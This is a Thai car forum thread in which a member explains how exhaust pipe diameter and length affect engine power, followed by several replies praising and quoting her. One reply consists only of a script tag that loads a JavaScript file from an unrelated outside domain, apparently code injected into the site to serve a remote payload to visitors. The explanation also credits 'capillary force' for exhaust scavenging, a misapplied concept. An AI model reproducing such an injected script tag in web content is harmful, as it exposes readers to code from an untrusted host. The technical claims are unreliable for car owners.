เช่นกัน ไอเสียเวล่ผ่านท่อขนาดเล็กๆ มันจะวิ่งเร็ว แต่ถ้าเล็กเกินไป มันก็เกิดอาการ "อั้น"  คือไอเสียวิ่งไม่คล่องมันก้เลยต้องอาศัยลูกสูบ "อัด" ไล่มันออกตามท่อ ยิ่งยาวเท่าไหร่ มันก้ยิ่งอั้น ยิ่งอั้นก้ยิ่งต้องใช้แรง อัด เครื่องมันก็เสียกำลังไปมาก

ถ้าท่อขนาดพอดีๆ มันจะไม่มีอาการอั้นในขณะที่ไอเสียวิ่งได้เร็วที่สุด ตรงนี้ จะเกิดแรงดูดตามธรรมชาติที่เรียกว่าแรงคาปิลลารี่ ช่วยดูดไปเสียออกจาก้หองเผาไหม เมื่อไอเสียถูกดูด ลูกสูบก็ถูกดูดตามขึ้นมาด้วย มันก้เท่ากับว่าแรงดูดตรงนี้ ไปเพิ่มแรงม้าให้เครื่องยนต์ด้วย ท่อยิ่งยาวเท่าไหร่ แรงดูดก็ยิ่งมาก ก็เลย ออกแบบรถให้มีท่ออยู่ท้ายรถเลย

ถ้าท่อมันใหญ่ไป อากาศ ก็ถูกคายได้ง่าย แต่มันไม่มีแรงดูดมาช่วย มันก็เลย อาศัยแรงจากลูกสูบมาดันออกอย่างเดียว มันก็เลยกลายเป้นว่ารู้สึกเครื่องมันแรงหายๆ ไปบางส่วน ที่บางคนบอก "โล่งไป" ไงล่ะ

MT ต้องการโล่งๆ จึงควรทะลวงออกเมื่อตัน AT ควรจะอั้นๆหน่อยไม่ควรทะลวง แต่เปลี่ยนเอาตามงบจะดีกว่า แต่ไม่ควรตัดออก เพราะเป็นที่อยู่ของ O2 เด๋วไฟเครื่องจะโชว์ และจังหวะจะเพี้ยนเปล่าๆ เพราะ O2 มันจะวัดค่าผิดน่ะ
อธิบาย ง่ายๆ ไม่ได้ยกสมการอะไรมาอธิบาย คิดว่าพอเห็นหลักการนะคะ


          อั่ยย่ะ
ed02


เข้าร่วม: 25 ธันวา 2010
ตอบ: 564

แซงซ้าย ปาดขวา
แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 467
ให้คำขอบคุณ: 635
อังคาร, 25 ธันวา 2012 11:32 - วิ่งอืด เร่งไม่ขึ้น....
ชอบๆ ผู้หญิงเก่ง ข้อมูลแน่นปึก ขอกด Like ครับ 
mosonic


ชื่อเล่น: โม

เข้าร่วม: 25 พฤษภาคม 2011
ตอบ: 1063

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 551
ให้คำขอบคุณ: 349

ปี: 2005
สี: ดำ ไนท์ฮอว์ก (B-92P)
อังคาร, 25 ธันวา 2012 12:17 - วิ่งอืด เร่งไม่ขึ้น....
....."<script src="https://sport32news.com/civicesgroup.js">
The_One


เข้าร่วม: 30 พฤษภาคม 2010
ตอบ: 761

Guru ES
Guru ES

ได้รับคำขอบคุณ: 340
ให้คำขอบคุณ: 112

ที่อยู่: LA & คลองหลวง จ.ปทุมธานี
ปี: 2003
สี: ฟ้า ไอซ์บูล (เมทัลลิก) (B-506M)
อังคาร, 25 ธันวา 2012 12:43 - วิ่งอืด เร่งไม่ขึ้น....
สวยยอด
paripato


เข้าร่วม: 24 พฤษภาคม 2010
ตอบ: 160

มือใหม่หัดขับ
มือใหม่หัดขับ

ได้รับคำขอบคุณ: 64
ให้คำขอบคุณ: 76

ที่อยู่: รังสิต
ปี: 2003
สี: เงิน ซาติน (เมทัลลิก) (NH-623M)
อังคาร, 25 ธันวา 2012 12:50 - วิ่งอืด เร่งไม่ขึ้น....
ham_ter พิมพ์ว่า:
เอาแบบทฤษฎีนะคะ มันเป็นทฤษฎีของก๊าซง่ายๆ ค่ะ

เครื่องยนต์ไม่ได้เกิดแรงจากการจุดระเบิดเพียงอย่างเดียวเท่านั้น แรงดันของก็าซร้อนและก๊าซเย็น ก็มีผลต่อรอบเครื่องว่าจะขึ้นไว หรือค่อยๆไต่ระดับขึ้นไป เวลาลูกสูบ "ดูด" เมื่อวาล์วเปิดลูกสูบถอยลง จะเกิดแรงดูดเพราะปริมาตรในห้องจุดระเบิดมันมากขึ้น และ "อุณหภูมิที่เย็นกว่าจะดันอากาศไปหาที่ที่ร้อนกว่าในห้องจุดระเบิดด้วย" เรียกว่าเกิด 2 แรงพร้อมกัน ตรงนี้ ไม่ว่าเครื่องอะไร มันต้องการช่องกว้างๆ เพราะระยะท่อมันไม่ยาว แรงคาบิลลารี่ไม่ค่อยมีผลมาก ท่อใหญ่ ลิ้นกว้างๆ จึงเป็นที่ต้องการของบรรดาเครื่องซิ่งทั้งหลาย

ทีนี้มาเข้าประเด็นท่อไอเสีย เคยคิดว่าทำไมรถทุกคันจึงออกแบบให้ปลายท่อไปโผล่ท้ายรถ นอกจากเรื่องความปลอดภัย เรื่องสุขภาพแล้ว "เรื่องแรงเครื่องยนต์" ก็เป็นเหตุผลหนึ่งที่ท่อไอเสียควรจะ ยาวๆ ไว้ ขนาดซุปเปอร์คาร์ ท่อมันยังพยายามขดไปมาเพื่อให้ได้ระยะยาวที่สุด

เนื้องจาก เวลาคายไอร้อน มันตรงข้ามกับทีแรกถ้าไม่มีเทคนิค อากาศเย็นจะพยายามดันย้อนกลับเข้าเครื่องเพื่อลดผลตรงนี้ ท่อก็เลยเอาที่เย็นๆ ไปไว้ไกลๆ หน่อย แต่มันไม่ใช่ประเด้นหลัก ประเด็นมาอยู่ที่แรงคาปิลลารี่

เคยสังเกตไหม น้ำในสายยางขนาดครึ่งนิ้วยาวๆ เวลาเปิดไหลไป เวลาปิดมัน มันเหมือนจะมีแรงกระตุกจากน้ำในสายยางที่มันไหลเร็วๆ มันกระตุกแรงจะบางครั้งก๊อกน้ำอาจเสียหายได้ ช่างที่มีประสบการณ์จะเปลี่ยนเป้นสายยางที่ใหญ่ขึ้นโดยใช้ก๊อกเดิม เวลาเปิดน้ำมันก็ไหลเอื่อยๆ เวลาปิด มันก็ไม่มีแรงดูด มากนัก

เช่นกัน ไอเสียเวล่ผ่านท่อขนาดเล็กๆ มันจะวิ่งเร็ว แต่ถ้าเล็กเกินไป มันก็เกิดอาการ "อั้น"  คือไอเสียวิ่งไม่คล่องมันก้เลยต้องอาศัยลูกสูบ "อัด" ไล่มันออกตามท่อ ยิ่งยาวเท่าไหร่ มันก้ยิ่งอั้น ยิ่งอั้นก้ยิ่งต้องใช้แรง อัด เครื่องมันก็เสียกำลังไปมาก

ถ้าท่อขนาดพอดีๆ มันจะไม่มีอาการอั้นในขณะที่ไอเสียวิ่งได้เร็วที่สุด ตรงนี้ จะเกิดแรงดูดตามธรรมชาติที่เรียกว่าแรงคาปิลลารี่ ช่วยดูดไปเสียออกจาก้หองเผาไหม เมื่อไอเสียถูกดูด ลูกสูบก็ถูกดูดตามขึ้นมาด้วย มันก้เท่ากับว่าแรงดูดตรงนี้ ไปเพิ่มแรงม้าให้เครื่องยนต์ด้วย ท่อยิ่งยาวเท่าไหร่ แรงดูดก็ยิ่งมาก ก็เลย ออกแบบรถให้มีท่ออยู่ท้ายรถเลย

ถ้าท่อมันใหญ่ไป อากาศ ก็ถูกคายได้ง่าย แต่มันไม่มีแรงดูดมาช่วย มันก็เลย อาศัยแรงจากลูกสูบมาดันออกอย่างเดียว มันก็เลยกลายเป้นว่ารู้สึกเครื่องมันแรงหายๆ ไปบางส่วน ที่บางคนบอก "โล่งไป" ไงล่ะ

MT ต้องการโล่งๆ จึงควรทะลวงออกเมื่อตัน AT ควรจะอั้นๆหน่อยไม่ควรทะลวง แต่เปลี่ยนเอาตามงบจะดีกว่า แต่ไม่ควรตัดออก เพราะเป็นที่อยู่ของ O2 เด๋วไฟเครื่องจะโชว์ และจังหวะจะเพี้ยนเปล่าๆ เพราะ O2 มันจะวัดค่าผิดน่ะ
อธิบาย ง่ายๆ ไม่ได้ยกสมการอะไรมาอธิบาย คิดว่าพอเห็นหลักการนะคะ


ยอดเลยอาจารย์
Nack_Non


ชื่อเล่น: แน๊ก ชาลี

เข้าร่วม: 01 ธันวา 2011
ตอบ: 346

มีใบอนุญาตขับขี่
มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 242
ให้คำขอบคุณ: 216

ที่อยู่: นนทบุรี-บางกรวย หลังก.ฟ.ผ.
ปี: 2001
สี: ทอง ไทเทเนียม (เมทัลลิก) (YR-525M)
อังคาร, 25 ธันวา 2012 13:21 - วิ่งอืด เร่งไม่ขึ้น....
ham_ter พิมพ์ว่า:
เอาแบบทฤษฎีนะคะ มันเป็นทฤษฎีของก๊าซง่ายๆ ค่ะ

เครื่องยนต์ไม่ได้เกิดแรงจากการจุดระเบิดเพียงอย่างเดียวเท่านั้น แรงดันของก็าซร้อนและก๊าซเย็น ก็มีผลต่อรอบเครื่องว่าจะขึ้นไว หรือค่อยๆไต่ระดับขึ้นไป เวลาลูกสูบ "ดูด" เมื่อวาล์วเปิดลูกสูบถอยลง จะเกิดแรงดูดเพราะปริมาตรในห้องจุดระเบิดมันมากขึ้น และ "อุณหภูมิที่เย็นกว่าจะดันอากาศไปหาที่ที่ร้อนกว่าในห้องจุดระเบิดด้วย" เรียกว่าเกิด 2 แรงพร้อมกัน ตรงนี้ ไม่ว่าเครื่องอะไร มันต้องการช่องกว้างๆ เพราะระยะท่อมันไม่ยาว แรงคาบิลลารี่ไม่ค่อยมีผลมาก ท่อใหญ่ ลิ้นกว้างๆ จึงเป็นที่ต้องการของบรรดาเครื่องซิ่งทั้งหลาย

ทีนี้มาเข้าประเด็นท่อไอเสีย เคยคิดว่าทำไมรถทุกคันจึงออกแบบให้ปลายท่อไปโผล่ท้ายรถ นอกจากเรื่องความปลอดภัย เรื่องสุขภาพแล้ว "เรื่องแรงเครื่องยนต์" ก็เป็นเหตุผลหนึ่งที่ท่อไอเสียควรจะ ยาวๆ ไว้ ขนาดซุปเปอร์คาร์ ท่อมันยังพยายามขดไปมาเพื่อให้ได้ระยะยาวที่สุด

เนื้องจาก เวลาคายไอร้อน มันตรงข้ามกับทีแรกถ้าไม่มีเทคนิค อากาศเย็นจะพยายามดันย้อนกลับเข้าเครื่องเพื่อลดผลตรงนี้ ท่อก็เลยเอาที่เย็นๆ ไปไว้ไกลๆ หน่อย แต่มันไม่ใช่ประเด้นหลัก ประเด็นมาอยู่ที่แรงคาปิลลารี่

เคยสังเกตไหม น้ำในสายยางขนาดครึ่งนิ้วยาวๆ เวลาเปิดไหลไป เวลาปิดมัน มันเหมือนจะมีแรงกระตุกจากน้ำในสายยางที่มันไหลเร็วๆ มันกระตุกแรงจะบางครั้งก๊อกน้ำอาจเสียหายได้ ช่างที่มีประสบการณ์จะเปลี่ยนเป้นสายยางที่ใหญ่ขึ้นโดยใช้ก๊อกเดิม เวลาเปิดน้ำมันก็ไหลเอื่อยๆ เวลาปิด มันก็ไม่มีแรงดูด มากนัก

เช่นกัน ไอเสียเวล่ผ่านท่อขนาดเล็กๆ มันจะวิ่งเร็ว แต่ถ้าเล็กเกินไป มันก็เกิดอาการ "อั้น"  คือไอเสียวิ่งไม่คล่องมันก้เลยต้องอาศัยลูกสูบ "อัด" ไล่มันออกตามท่อ ยิ่งยาวเท่าไหร่ มันก้ยิ่งอั้น ยิ่งอั้นก้ยิ่งต้องใช้แรง อัด เครื่องมันก็เสียกำลังไปมาก

ถ้าท่อขนาดพอดีๆ มันจะไม่มีอาการอั้นในขณะที่ไอเสียวิ่งได้เร็วที่สุด ตรงนี้ จะเกิดแรงดูดตามธรรมชาติที่เรียกว่าแรงคาปิลลารี่ ช่วยดูดไปเสียออกจาก้หองเผาไหม เมื่อไอเสียถูกดูด ลูกสูบก็ถูกดูดตามขึ้นมาด้วย มันก้เท่ากับว่าแรงดูดตรงนี้ ไปเพิ่มแรงม้าให้เครื่องยนต์ด้วย ท่อยิ่งยาวเท่าไหร่ แรงดูดก็ยิ่งมาก ก็เลย ออกแบบรถให้มีท่ออยู่ท้ายรถเลย

ถ้าท่อมันใหญ่ไป อากาศ ก็ถูกคายได้ง่าย แต่มันไม่มีแรงดูดมาช่วย มันก็เลย อาศัยแรงจากลูกสูบมาดันออกอย่างเดียว มันก็เลยกลายเป้นว่ารู้สึกเครื่องมันแรงหายๆ ไปบางส่วน ที่บางคนบอก "โล่งไป" ไงล่ะ

MT ต้องการโล่งๆ จึงควรทะลวงออกเมื่อตัน AT ควรจะอั้นๆหน่อยไม่ควรทะลวง แต่เปลี่ยนเอาตามงบจะดีกว่า แต่ไม่ควรตัดออก เพราะเป็นที่อยู่ของ O2 เด๋วไฟเครื่องจะโชว์ และจังหวะจะเพี้ยนเปล่าๆ เพราะ O2 มันจะวัดค่าผิดน่ะ
อธิบาย ง่ายๆ ไม่ได้ยกสมการอะไรมาอธิบาย คิดว่าพอเห็นหลักการนะคะ


คาราวะ
ตอบ
หน้า 1 จาก 2
ไปที่: 
ติดต่อโฆษณา admin@civicesgroup.com
Copyright © 2008-2025 Civic ES Group. All rights reserved.